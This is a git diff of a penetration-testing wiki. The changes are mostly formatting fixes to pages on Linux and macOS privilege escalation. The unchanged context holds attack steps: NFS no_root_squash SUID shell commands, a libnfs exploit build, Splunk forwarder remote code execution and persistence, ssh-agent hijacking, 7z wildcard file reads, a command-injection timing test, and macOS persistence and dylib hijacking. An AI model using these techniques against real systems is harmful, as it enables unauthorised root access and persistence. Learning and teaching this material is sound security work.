a/linux-unix/privilege-escalation/logstash.md +++ b/linux-unix/privilege-escalation/logstash.md @@ -20,7 +20,7 @@ The pipeline configuration file **/etc/logstash/pipelines.yml** specifies the lo pipeline.workers: 6 ``` -In here you can find the paths to the **.conf** files, which contain the configured pipelines. If the **Elasticsearch output module **is used, **pipelines **are likely to **contain **valid **credentials **for an Elasticsearch instance. Those credentials have often more privileges, since Logstash has to write data to Elasticsearch. If wildcards are used, Logstash tries to run all pipelines located in that folder matching the wildcard. +In here you can find the paths to the **.conf** files, which contain the configured pipelines. If the **Elasticsearch output module** is used, **pipelines** are likely to **contain** valid **credentials** for an Elasticsearch instance. Those credentials have often more privileges, since Logstash has to write data to Elasticsearch. If wildcards are used, Logstash tries to run all pipelines located in that folder matching the wildcard. ### Privesc with writable pipelines @@ -28,7 +28,7 @@ Before trying to elevate your own privileges you should check which user is runn Check whether you have **one** of the required rights: -* You have **write permissions **on a pipeline **.conf** file **or** +* You have **write permissions** on a pipeline **.conf** file **or** * **/etc/logstash/pipelines.yml** contains a wildcard and you are allowed to write into the specified folder Further **one** of the requirements must be met: diff --git a/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md index 5103d6bf..6364555f 100644 --- a/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +++ b/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md @@ -1,10 +1,10 @@ -# NFS no_root_squash/no_all_squash misconfiguration PE +# NFS no\_root\_squash/no\_all\_squash misconfiguration PE -Read the_ **/etc/exports** _file, if you find some directory that is configured as **no_root_squash**, then you can **access** it from **as a client **and **write inside **that directory **as **if you were the local **root **of the machine. +Read the _ **/etc/exports** _ file, if you find some directory that is configured as **no\_root\_squash**, then you can **access** it from **as a client** and **write inside** that directory **as** if you were the local **root** of the machine. -**no_root_squash**: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications. +**no\_root\_squash**: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications. -**no_all_squash:** This is similar to **no_root_squash** option but applies to **non-root users**. Imagine, you have a shell as nobody user; checked /etc/exports file; no_all_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user. +**no\_all\_squash:** This is similar to **no\_root\_squash** option but applies to **non-root users**. Imagine, you have a shell as nobody user; checked /etc/exports file; no\_all\_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user. ## Privilege Escalation @@ -12,7 +12,7 @@ Read the_ **/etc/exports** _file, if you find some directory that is configured If you have found this vulnerability, you can exploit it: -* **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder the **/bin/bash** binary and giving it **SUID **rights, and **executing from the victim** machine that bash binary. +* **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder the **/bin/bash** binary and giving it **SUID** rights, and **executing from the victim** machine that bash binary. ```bash #Attacker, as root user @@ -27,7 +27,7 @@ cd ./bash -p #ROOT shell ``` -* **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder our come compiled payload that will abuse the SUID permission, give to it **SUID **rights, and **execute from the victim** machine that binary (you can find here some[ C SUID payloads](payloads-to-execute.md#c)). +* **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder our come compiled payload that will abuse the SUID permission, give to it **SUID** rights, and **execute from the victim** machine that binary (you can find here some[ C SUID payloads](payloads-to-execute.md#c)). ```bash #Attacker, as root user @@ -47,12 +47,12 @@ cd {% hint style="info" %} Note that if you can create a **tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports**.\ -The following trick is in case the file `/etc/exports` **indicates an IP**. In this case you **won't be able to use** in any case the **remote exploit **and you will need to** abuse this trick**.\ -Another required requirement for the exploit to work is that** the export inside `/etc/export`** **must be using the `insecure` flag**.\ +The following trick is in case the file `/etc/exports` **indicates an IP**. In this case you **won't be able to use** in any case the **remote exploit** and you will need to **abuse this trick**.\ +Another required requirement for the exploit to work is that **the export inside `/etc/export`** **must be using the `insecure` flag**.\ \--_I'm not sure that if `/etc/export` is indicating an IP address this trick will work_-- {% endhint %} -**Trick copied from **[**https://www.errno.fr/nfs_privesc.html**](https://www.errno.fr/nfs_privesc.html)**** +**Trick copied from** [**https://www.errno.fr/nfs\_privesc.html**](https://www.errno.fr/nfs\_privesc.html)**** Now, let’s assume that the share server still runs `no_root_squash` but there is something preventing us from mounting the share on our pentest machine. This would happen if the `/etc/exports` has an explicit list of IP addresses allowed to mount the share. @@ -70,7 +70,7 @@ This exploit relies on a problem in the NFSv3 specification that mandates that i Here’s a [library that lets you do just that](https://github.com/sahlberg/libnfs). -#### Compiling the example +#### Compiling the example Depending on your kernel, you might need to adapt the example. In my case I had to comment out the fallocate syscalls. @@ -81,7 +81,7 @@ make gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/ ``` -#### Exploiting using the library +#### Exploiting using the library Let’s use the simplest of exploits: @@ -109,7 +109,7 @@ All that’s left is to launch it: There we are, local root privilege escalation! -### Bonus NFShell +### Bonus NFShell Once local root on the machine, I wanted to loot the NFS share for possible secrets that would let me pivot. But there were many users of the share all with their own uids that I couldn’t read despite being root because of the uid mismatch. I didn’t want to leave obvious traces such as a chown -R, so I rolled a little snippet to set my uid prior to running the desired shell command: diff --git a/linux-unix/privilege-escalation/runc-privilege-escalation.md b/linux-unix/privilege-escalation/runc-privilege-escalation.md index b6866aef..c885c958 100644 --- a/linux-unix/privilege-escalation/runc-privilege-escalation.md +++ b/linux-unix/privilege-escalation/runc-privilege-escalation.md @@ -2,7 +2,7 @@ ## Basic information -If you want to learn more about **runc **check the following page: +If you want to learn more about **runc** check the following page: {% content-ref url="../../pentesting/2375-pentesting-docker.md" %} [2375-pentesting-docker.md](../../pentesting/2375-pentesting-docker.md) diff --git a/linux-unix/privilege-escalation/socket-command-injection.md b/linux-unix/privilege-escalation/socket-command-injection.md index 0108d289..6f446a70 100644 --- a/linux-unix/privilege-escalation/socket-command-injection.md +++ b/linux-unix/privilege-escalation/socket-command-injection.md @@ -2,7 +2,7 @@ ### Socket binding example with Python -In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received **is going to be **executed **by `os.system`.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible. +In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received** is going to be **executed** by `os.system`.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible. {% code title="s.py" %} ```python @@ -28,7 +28,7 @@ while True: ``` {% endcode %} -**Execute **the code using python: `python s.py` and **check how the socket is listening**: +**Execute** the code using python: `python s.py` and **check how the socket is listening**: ```python netstat -a -p --unix | grep "socket_test" diff --git a/linux-unix/privilege-escalation/splunk-lpe-and-persistence.md b/linux-unix/privilege-escalation/splunk-lpe-and-persistence.md index bbe2ac89..e238d54b 100644 --- a/linux-unix/privilege-escalation/splunk-lpe-and-persistence.md +++ b/linux-unix/privilege-escalation/splunk-lpe-and-persistence.md @@ -1,18 +1,18 @@ # Splunk LPE and Persistence -If **enumerating **a machine **internally** or **externally **you find **Splunk running** (port 8090), if you luckily know any **valid credentials** you can **abuse the Splunk service** to **execute a shell** as the user running Splunk. If root is running it, you can escalate privileges to root. +If **enumerating** a machine **internally** or **externally** you find **Splunk running** (port 8090), if you luckily know any **valid credentials** you can **abuse the Splunk service** to **execute a shell** as the user running Splunk. If root is running it, you can escalate privileges to root. -Also if you are **already root and the Splunk service is not listening only on localhost**, you can **steal **the **password **file **from **the Splunk service and **crack **the passwords, or **add new **credentials to it. And maintain persistence on the host. +Also if you are **already root and the Splunk service is not listening only on localhost**, you can **steal** the **password** file **from** the Splunk service and **crack** the passwords, or **add new** credentials to it. And maintain persistence on the host. In the first image below you can see how a Splunkd web page looks like. -**The following information was copied from **[**https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/**](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/)**** +**The following information was copied from** [**https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/**](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/)**** ## Abusing Splunk Forwarders For Shells and Persistence 14 Aug 2020 -### Description: +### Description: The Splunk Universal Forwarder Agent (UF) allows authenticated remote users to send single commands or scripts to the agents through the Splunk API. The UF agent doesn’t validate connections coming are coming from a valid Splunk Enterprise server, nor does the UF agent validate the code is signed or otherwise proven to be from the Splunk Enterprise server. This allows an attacker who gains access to the UF agent password to run arbitrary code on the server as SYSTEM or root, depending on the operating system. @@ -20,7 +20,7 @@ This attack is being used by Penetration Testers and is likely being actively ex Splunk UF passwords are relatively easy to acquire, see the secion Common Password Locations for details. -### Context: +### Context: Splunk is a data aggregation and search tool often used as a Security Information and Event Monitoring (SIEM) system. Splunk Enterprise Server is a web application which runs on a server, with agents, called Universal Forwarders, which are installed on every system in the network. Splunk provides agent binaries for Windows, Linux, Mac, and Unix. Many organizations use Syslog to send data to Splunk instead of installing an agent on Linux/Unix hosts but agent installation is becomming increasingly popular. @@ -30,7 +30,7 @@ Universal Forwarder is accessible on each host at https://host:8089. Accessing a Splunk documentaiton shows using the same Universal Forwarding password for all agents, I don’t remember for sure if this is a requirement or if individual passwords can be set for each agent, but based on documentaiton and memory from when I was a Splunk admin, I believe all agents must use the same password. This means if the password is found or cracked on one system, it is likely to work on all Splunk UF hosts. This has been my personal experience, allowing compromise of hundreds of hosts quickly. -### Common Password Locations +### Common Password Locations I often find the Splunk Universal Forwarding agent plain text password in the following locations on networks: @@ -40,7 +40,7 @@ I often find the Splunk Universal Forwarding agent plain text password in the fo The password can also be accessed in hashed form in Program Files\Splunk\etc\passwd on Windows hosts, and in /opt/Splunk/etc/passwd on Linux and Unix hosts. An attacker can attempt to crack the password using Hashcat, or rent a cloud cracking environment to increase liklihood of cracking the hash. The password is a strong SHA-256 hash and as such a strong, random password is unlikely to be cracked. -### Impact: +### Impact: An attacker with a Splunk Universal Forward Agent password can fully compromise all Splunk hosts in the network and gain SYSTEM or root level permissions on each host. I have successfully used the Splunk agent on Windows, Linux, and Solaris Unix hosts. This vulnerability could allow system credentials to be dumped, sensitive data to be exfiltrated, or ransomware to be installed. This vulnerability is fast, easy to use, and reliable. @@ -50,7 +50,7 @@ Splunk Universal Forwarder is often seen installed on Domain Controllers for log Finally, the Universal Forwarding Agent does not require a license, and can be configured with a password stand alone. As such an attacker can install Universal Forwarder as a backdoor persistence mechanism on hosts, since it is a legitimate application which customers, even those who do not use Splunk, are not likely to remove. -### Evidence: +### Evidence: To show an exploitation example I set up a test environment using the latest Splunk version for both the Enterprise Server and the Universal Forwarding agent. A total of 10 images have been attached to this report, showing the following: @@ -114,7 +114,7 @@ Attacker:192.168.42.51 Splunk Enterprise version: 8.0.5 (latest as of August 12, 2020 – day of lab setup)\ Universal Forwarder version: 8.0.5 (latest as of August 12, 2020 – day of lab setup) -#### Remediation Recommendation’s for Splunk, Inc: +#### Remediation Recommendation’s for Splunk, Inc: I recommend implementing all of the following solutions to provide defense in depth: @@ -122,16 +122,16 @@ I recommend implementing all of the following solutions to provide defense in de 2. Enable TLS mutual authentication between the clients and server, using individual keys for each client. This would provide very high bi-directional security between all Splunk services. TLS mutual authentication is being heavily implemented in agents and IoT devices, this is the future of trusted device client to server communication. 3. Send all code, single line or script files, in a compressed file which is encrypted and signed by the Splunk server. This does not protect the agent data sent through the API, but protects against malicious Remote Code Execution from a 3rd party. -#### Remediation Recommendation’s for Splunk customers: +#### Remediation Recommendation’s for Splunk customers: 1. Ensure a very strong password is set for Splunk agents. I recommend at least a 15-character random password, but since these passwords are never typed this could be set to a very large password such as 50 characters. 2. Configure host based firewalls to only allow connections to port 8089/TCP (Universal Forwarder Agent’s port) from the Splunk server. -### Recommendations for Red Team: +### Recommendations for Red Team: 1. Download a copy of Splunk Universal Forwarder for each operating system, as it is a great light weight signed implant. Good to keep a copy incase Splunk actually fixes this. -### Exploits/Blogs from other researchers +### Exploits/Blogs from other researchers Usable public exploits: diff --git a/linux-unix/privilege-escalation/ssh-forward-agent-exploitation.md b/linux-unix/privilege-escalation/ssh-forward-agent-exploitation.md index 1e86400c..c5f02dcc 100644 --- a/linux-unix/privilege-escalation/ssh-forward-agent-exploitation.md +++ b/linux-unix/privilege-escalation/ssh-forward-agent-exploitation.md @@ -8,7 +8,7 @@ What can you do if you discover inside the `/etc/ssh_config` or inside `$HOME/.s ForwardAgent yes ``` -If you are root inside the machine you can probably **access any ssh connection made by any agent** that you can find in the_ /tmp_ directory +If you are root inside the machine you can probably **access any ssh connection made by any agent** that you can find in the _/tmp_ directory Impersonate Bob using one of Bob's ssh-agent: @@ -26,7 +26,7 @@ Another option, is that the user owner of the agent and root may be able to acce ## Long explanation and exploitation -**Taken from: **[**https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking/**](https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking/)**** +**Taken from:** [**https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/**](https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/)**** ### **When ForwardAgent Can’t Be Trusted** @@ -46,7 +46,7 @@ A much safer authentication method is [public key authentication](http://www.ibm The private key is valuable and must be protected, so by default it is stored in an encrypted format. Unfortunately this means entering your encryption passphrase before using it. Many articles suggest using passphrase-less (unencrypted) private keys to avoid this inconvenience. That’s a bad idea, as anyone with access to your workstation (via physical access, theft, or hackery) now also has free access to any computers configured with your public key. -OpenSSH includes [ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent), a daemon that runs on your local workstation. It loads a decrypted copy of your private key into memory, so you only have to enter your passphrase once. It then provides a local [socket](http://en.wikipedia.org/wiki/Unix_domain_socket) that the ssh client can use to ask it to decrypt the encrypted message sent back by the remote server. Your private key stays safely ensconced in the ssh-agent process’ memory while still allowing you to ssh around without typing in passwords. +OpenSSH includes [ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent), a daemon that runs on your local workstation. It loads a decrypted copy of your private key into memory, so you only have to enter your passphrase once. It then provides a local [socket](http://en.wikipedia.org/wiki/Unix\_domain\_socket) that the ssh client can use to ask it to decrypt the encrypted message sent back by the remote server. Your private key stays safely ensconced in the ssh-agent process’ memory while still allowing you to ssh around without typing in passwords. ### **How ForwardAgent Works** @@ -56,7 +56,7 @@ Many tasks require “chaining” ssh sessions. Consider my example from earlier Simply put, anyone with root privilege on the the intermediate server can make free use of your ssh-agent to authenticate them to other servers. A simple demonstration shows how trivially this can be done. Hostnames and usernames have been changed to protect the innocent. -My laptop is running ssh-agent, which communicates with the ssh client programs via a socket. The path to this socket is stored in the SSH_AUTH_SOCK environment variable: +My laptop is running ssh-agent, which communicates with the ssh client programs via a socket. The path to this socket is stored in the SSH\_AUTH\_SOCK environment variable: ``` mylaptop:~ env|grep SSH_AUTH_SOCK diff --git a/linux-unix/privilege-escalation/wildcards-spare-tricks.md b/linux-unix/privilege-escalation/wildcards-spare-tricks.md index ab21e043..b0a13c21 100644 --- a/linux-unix/privilege-escalation/wildcards-spare-tricks.md +++ b/linux-unix/privilege-escalation/wildcards-spare-tricks.md @@ -49,7 +49,7 @@ In **7z** even using `--` before `*` (note that `--` means that the following in 7za a /backup/$filename.zip -t7z -snl -p$pass -- * ``` -And you can create files in the folder were this is being executed, you could create the file `@root.txt` and the file `root.txt` being a **symlink **to the file you want to read: +And you can create files in the folder were this is being executed, you could create the file `@root.txt` and the file `root.txt` being a **symlink** to the file you want to read: ```bash cd /path/to/7z/acting/folder @@ -57,8 +57,8 @@ touch @root.txt ln -s /file/you/want/to/read root.txt ``` -Then, when **7z **is execute, it will treat `root.txt` as a file containing the list of files it should compress (thats what the existence of `@root.txt` indicates) and when it 7z read `root.txt` it will read `/file/you/want/to/read` and **as the content of this file isn't a list of files, it will throw and error **showing the content. +Then, when **7z** is execute, it will treat `root.txt` as a file containing the list of files it should compress (thats what the existence of `@root.txt` indicates) and when it 7z read `root.txt` it will read `/file/you/want/to/read` and **as the content of this file isn't a list of files, it will throw and error** showing the content. -_More info in Write-ups of the box CTF from HackTheBox. _ +_More info in Write-ups of the box CTF from HackTheBox._ __ diff --git a/linux-unix/useful-linux-commands/bypass-bash-restrictions.md b/linux-unix/useful-linux-commands/bypass-bash-restrictions.md index e19095e6..810cb2d2 100644 --- a/linux-unix/useful-linux-commands/bypass-bash-restrictions.md +++ b/linux-unix/useful-linux-commands/bypass-bash-restrictions.md @@ -128,7 +128,7 @@ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi ## DNS data exfiltration -You could use **burpcollab** or [**pingb**](http://pingb.in)** **for example. +You could use **burpcollab** or [**pingb**](http://pingb.in) **** for example. ## Polyglot command injection diff --git a/macos/macos-security-and-privilege-escalation/README.md b/macos/macos-security-and-privilege-escalation/README.md index f8d1d6fa..37d97093 100644 --- a/macos/macos-security-and-privilege-escalation/README.md +++ b/macos/macos-security-and-privilege-escalation/README.md @@ -99,7 +99,7 @@ ls -RAle / 2>/dev/null | grep -E -B1 "\d: " ### Resource Forks or MacOS ADS -This is a way to obtain **Alternate Data Streams in MacOS **machines. You can save content inside an extended attribute called **com.apple.ResourceFork** inside a file by saving it in **file/..namedfork/rsrc**. +This is a way to obtain **Alternate Data Streams in MacOS** machines. You can save content inside an extended attribute called **com.apple.ResourceFork** inside a file by saving it in **file/..namedfork/rsrc**. ```bash echo "Hello" > a.txt @@ -186,18 +186,18 @@ printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharin [**In this talk**](https://www.youtube.com/watch?v=T5xfL9tEg44) Jeremy Brown talks about this protections and a bug that allowed to bypass them. -_**Gatekeeper**_ is designed to ensure that, by default, **only trusted software runs on a user’s Mac**. Gatekeeper is used when a user **downloads** and **opens** an app, a plug-in or an installer package from outside the App Store. Gatekeeper verifies that the software is **signed by** an** identified developer**, is **notarised** by Apple to be **free of known malicious content**, and **hasn’t been altered**. Gatekeeper also **requests user approval **before opening downloaded software for the first time to make sure the user hasn’t been tricked into running executable code they believed to simply be a data file. +_**Gatekeeper**_ is designed to ensure that, by default, **only trusted software runs on a user’s Mac**. Gatekeeper is used when a user **downloads** and **opens** an app, a plug-in or an installer package from outside the App Store. Gatekeeper verifies that the software is **signed by** an **identified developer**, is **notarised** by Apple to be **free of known malicious content**, and **hasn’t been altered**. Gatekeeper also **requests user approval** before opening downloaded software for the first time to make sure the user hasn’t been tricked into running executable code they believed to simply be a data file. ### Notarizing In order for an **app to be notarised by Apple**, the developer needs to send the app for review. Notarization is **not App Review**. The Apple notary service is an **automated system** that **scans your software for malicious content**, checks for code-signing issues, and returns the results to you quickly. If there are no issues, the notary service generates a ticket for you to staple to your software; the notary service also **publishes that ticket online where Gatekeeper can find it**. -When the user first installs or runs your software, the presence of a ticket (either online or attached to the executable) **tells Gatekeeper that Apple notarized the software**. **Gatekeeper then places descriptive information in the initial launch dialog **indicating that Apple has already checked for malicious content. +When the user first installs or runs your software, the presence of a ticket (either online or attached to the executable) **tells Gatekeeper that Apple notarized the software**. **Gatekeeper then places descriptive information in the initial launch dialog** indicating that Apple has already checked for malicious content. ### File Quarantine Gatekeeper builds upon **File Quarantine.**\ -****Upon download of an application, a particular **extended file attribute** ("quarantine flag") can be **added** to the **downloaded** **file**. This attribute** is added by the application that downloads the file**, such as a **web** **browser** or email client, but is not usually added by others like common BitTorrent client software.\ +****Upon download of an application, a particular **extended file attribute** ("quarantine flag") can be **added** to the **downloaded** **file**. This attribute **is added by the application that downloads the file**, such as a **web** **browser** or email client, but is not usually added by others like common BitTorrent client software.\ When a user executes a "quarantined" file, **Gatekeeper** is the one that **performs the mentioned actions** to allow the execution of the file. {% hint style="info" %} @@ -257,7 +257,7 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri ### XProtect -**X-Protect** is also part of Gatekeeper.** It's Apple’s built in malware scanner. **It keeps track of known malware hashes and patterns.\ +**X-Protect** is also part of Gatekeeper. **It's Apple’s built in malware scanner.** It keeps track of known malware hashes and patterns.\ You can get information about the latest XProtect update running: ```bash @@ -270,7 +270,7 @@ Should malware make its way onto a Mac, macOS also includes technology to remedi ### Automatic Security Updates -Apple issues the **updates for XProtect and MRT automatically **based on the latest threat intelligence available. By default, macOS checks for these updates **daily**. Notarisation updates are distributed using CloudKit sync and are much more frequent. +Apple issues the **updates for XProtect and MRT automatically** based on the latest threat intelligence available. By default, macOS checks for these updates **daily**. Notarisation updates are distributed using CloudKit sync and are much more frequent. ### TCC @@ -377,7 +377,7 @@ System Integrity Protection status: enabled. ``` If you want to **disable** **it**, you need to put the computer in recovery mode (start it pressing command+R) and execute: `csrutil disable` \ -You can also maintain it **enable but without debugging protections **doing: +You can also maintain it **enable but without debugging protections** doing: ```bash csrutil enable --without debug @@ -385,7 +385,7 @@ csrutil enable --without debug For more **information about SIP** read the following response: [https://apple.stackexchange.com/questions/193368/what-is-the-rootless-feature-in-el-capitan-really](https://apple.stackexchange.com/questions/193368/what-is-the-rootless-feature-in-el-capitan-really) -This post about a** SIP bypass vulnerability** is also very interesting: [https://www.microsoft.com/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/](https://www.microsoft.com/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) +This post about a **SIP bypass vulnerability** is also very interesting: [https://www.microsoft.com/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/](https://www.microsoft.com/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) ### Apple Binary Signatures @@ -432,7 +432,7 @@ An **ASEP** is a location on the system that could lead to the **execution** of ### Launchd -**`launchd`** is the **first** **process** executed by OX S kernel at startup and the last one to finish at shut down. It should always have the **PID 1**. This process will **read and execute **the configurations indicated in the **ASEP** **plists** in: +**`launchd`** is the **first** **process** executed by OX S kernel at startup and the last one to finish at shut down. It should always have the **PID 1**. This process will **read and execute** the configurations indicated in the **ASEP** **plists** in: * `/Library/LaunchAgents`: Per-user agents installed by the admin * `/Library/LaunchDaemons`: System-wide daemons installed by the admin @@ -469,7 +469,7 @@ The **main difference between agents and daemons is that agents are loaded when There are cases where an **agent needs to be executed before the user logins**, these are called **PreLoginAgents**. For example, this is useful to provide assistive technology at login. They can be found also in `/Library/LaunchAgents`(see [**here**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) an example). {% hint style="info" %} -New Daemons or Agents config files will be **loaded after next reboot or using **`launchctl load ` It's **also possible to load .plist files without that extension** with `launchctl -F ` (however those plist files won't be automatically loaded after reboot).\ +New Daemons or Agents config files will be **loaded after next reboot or using** `launchctl load ` It's **also possible to load .plist files without that extension** with `launchctl -F ` (however those plist files won't be automatically loaded after reboot).\ It's also possible to **unload** with `launchctl unload ` (the process pointed by it will be terminated), To **ensure** that there isn't **anything** (like an override) **preventing** an **Agent** or **Daemon** **from** **running** run: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` @@ -501,7 +501,7 @@ There you can find the regular **cron** **jobs**, the **at** **jobs** (not very ### kext -In order to install a KEXT as a startup item, it needs to be** installed in one of the following locations**: +In order to install a KEXT as a startup item, it needs to be **installed in one of the following locations**: * `/System/Library/Extensions` * KEXT files built into the OS X operating system. @@ -522,7 +522,7 @@ For more information about [**kernel extensions check this section**](mac-os-arc ### **Login Items** -In System Preferences -> Users & Groups -> **Login Items **you can find **items to be executed when the user logs in**.\ +In System Preferences -> Users & Groups -> **Login Items** you can find **items to be executed when the user logs in**.\ It it's possible to list them, add and remove from the command line: ```bash @@ -615,7 +615,7 @@ ls -l /private/var/db/emondClients A **StartupItem** is a **directory** that gets **placed** in one of these two folders. `/Library/StartupItems/` or `/System/Library/StartupItems/` -After placing a new directory in one of these two locations, **two more items **need to be placed inside that directory. These two items are a **rc script** **and a plist** that holds a few settings. This plist must be called “**StartupParameters.plist**”. +After placing a new directory in one of these two locations, **two more items** need to be placed inside that directory. These two items are a **rc script** **and a plist** that holds a few settings. This plist must be called “**StartupParameters.plist**”. {% code title="StartupParameters.plist" %} ```markup @@ -663,7 +663,7 @@ RunService "$1" **This isn't working in modern MacOS versions** {% endhint %} -It's also possible to place here **commands that will be executed at startup. **Example os regular rc.common script: +It's also possible to place here **commands that will be executed at startup.** Example os regular rc.common script: ```bash ## @@ -941,18 +941,18 @@ This makes the password pretty easy to recover, for example using scripts like [ As in Windows, in MacOS you can also **hijack dylibs** to make **applications** **execute** **arbitrary** **code**.\ However, the way **MacOS** applications **load** libraries is **more restricted** than in Windows. This implies that **malware** developers can still use this technique for **stealth**, but the probably to be able to **abuse this to escalate privileges is much lower**. -First of all, is **more common **to find that **MacOS binaries indicates the full path** to the libraries to load. And second, **MacOS never search** in the folders of the **$PATH **for libraries. +First of all, is **more common** to find that **MacOS binaries indicates the full path** to the libraries to load. And second, **MacOS never search** in the folders of the **$PATH** for libraries. However, there are 2 types of dylib hijacking: * **Missing weak linked libraries**: This means that the application will try to load a library that doesn't exist configured with **LC\_LOAD\_WEAK\_DYLIB**. Then, **if an attacker places a dylib where it's expected it will be loaded**. * The fact that the link is "weak" means that the application will continue running even if the library isn't found. -* **Configured with @rpath**: The path to the library configured contains "**@rpath**" and it's configured with **multiple** **LC\_RPATH** containing **paths**. Therefore, **when loading **the dylib, the loader is going to **search** (in order)** through all the paths** specified in the **LC\_RPATH** **configurations**. If anyone is missing and **an attacker can place a dylib there** and it will be loaded. +* **Configured with @rpath**: The path to the library configured contains "**@rpath**" and it's configured with **multiple** **LC\_RPATH** containing **paths**. Therefore, **when loading** the dylib, the loader is going to **search** (in order) **through all the paths** specified in the **LC\_RPATH** **configurations**. If anyone is missing and **an attacker can place a dylib there** and it will be loaded. The way to **escalate privileges** abusing this functionality would be in the rare case that an **application** being executed **by** **root** is **looking** for some **library in some folder where the attacker has write permissions.** -**A nice scanner to find missing libraries in applications is **[**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html)** or a **[**CLI version**](https://github.com/pandazheng/DylibHijack)**.**\ -**A nice report with technical details about this technique can be found **[**here**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x)**.** +**A nice scanner to find missing libraries in applications is** [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) **or a** [**CLI version**](https://github.com/pandazheng/DylibHijack)**.**\ +**A nice report with technical details about this technique can be found** [**here**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x)**.** ### **DYLD\_INSERT\_LIBRARIES** @@ -960,10 +960,10 @@ The way to **escalate privileges** abusing this functionality would be in the ra This is like the [**LD\_PRELOAD on Linux**](../../linux-unix/privilege-escalation/#ld\_preload). -This technique may be also** used as an ASEP technique** as every application installed has a plist called "Info.plist" that allows for the **assigning of environmental variables** using a key called `LSEnvironmental`. +This technique may be also **used as an ASEP technique** as every application installed has a plist called "Info.plist" that allows for the **assigning of environmental variables** using a key called `LSEnvironmental`. {% hint style="info" %} -Since 2012 when [OSX.FlashBack.B](https://www.f-secure.com/v-descs/trojan-downloader\_osx\_flashback\_b.shtml) \[22] abused this technique, **Apple has drastically reduced the “power” **of the DYLD\_INSERT\_LIBRARIES. +Since 2012 when [OSX.FlashBack.B](https://www.f-secure.com/v-descs/trojan-downloader\_osx\_flashback\_b.shtml) \[22] abused this technique, **Apple has drastically reduced the “power”** of the DYLD\_INSERT\_LIBRARIES. For example the dynamic loader (dyld) ignores the DYLD\_INSERT\_LIBRARIES environment variable in a wide range of cases, such as setuid and platform binaries. And, starting with macOS Catalina, only 3rd-party applications that are not compiled with the hardened runtime (which “protects the runtime integrity of software” \[22]), or have an exception such as the com.apple.security.cs.allow-dyld-environment-variables entitlement) are susceptible to dylib insertions. @@ -986,7 +986,7 @@ sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets' You can find the Notifications data in `$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/` -Most of the interesting information is going to be in **blob**. So you will need to **extract** that content and **transform** it to **human** **readable **or use **`strings`**. To access it you can do: +Most of the interesting information is going to be in **blob**. So you will need to **extract** that content and **transform** it to **human** **readable** or use **`strings`**. To access it you can do: ```bash cd $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/ @@ -1057,8 +1057,8 @@ grep -A3 CFBundleTypeExtensions Info.plist | grep string ## Apple Scripts -It's a scripting language used for task automation** interacting with remote processes**. It makes pretty easy to **ask other processes to perform some actions**. **Malware** may abuse these features to abuse functions exported by other processes.\ -For example, a malware could **inject arbitrary JS code in browser opened pages**. Or **auto click **some allow permissions requested to the user; +It's a scripting language used for task automation **interacting with remote processes**. It makes pretty easy to **ask other processes to perform some actions**. **Malware** may abuse these features to abuse functions exported by other processes.\ +For example, a malware could **inject arbitrary JS code in browser opened pages**. Or **auto click** some allow permissions requested to the user; ```bash tell window 1 of process “SecurityAgent” @@ -1071,7 +1071,7 @@ Find more info about malware using applescripts [**here**](https://www.sentinelo Apple scripts may be easily "**compiled**". These versions can be easily "**decompiled**" with `osadecompile` -However, this scripts can also be** exported as "Read only" **(via the "Export..." option): +However, this scripts can also be **exported as "Read only"** (via the "Export..." option): ![](<../../.gitbook/assets/image (556).png>) diff --git 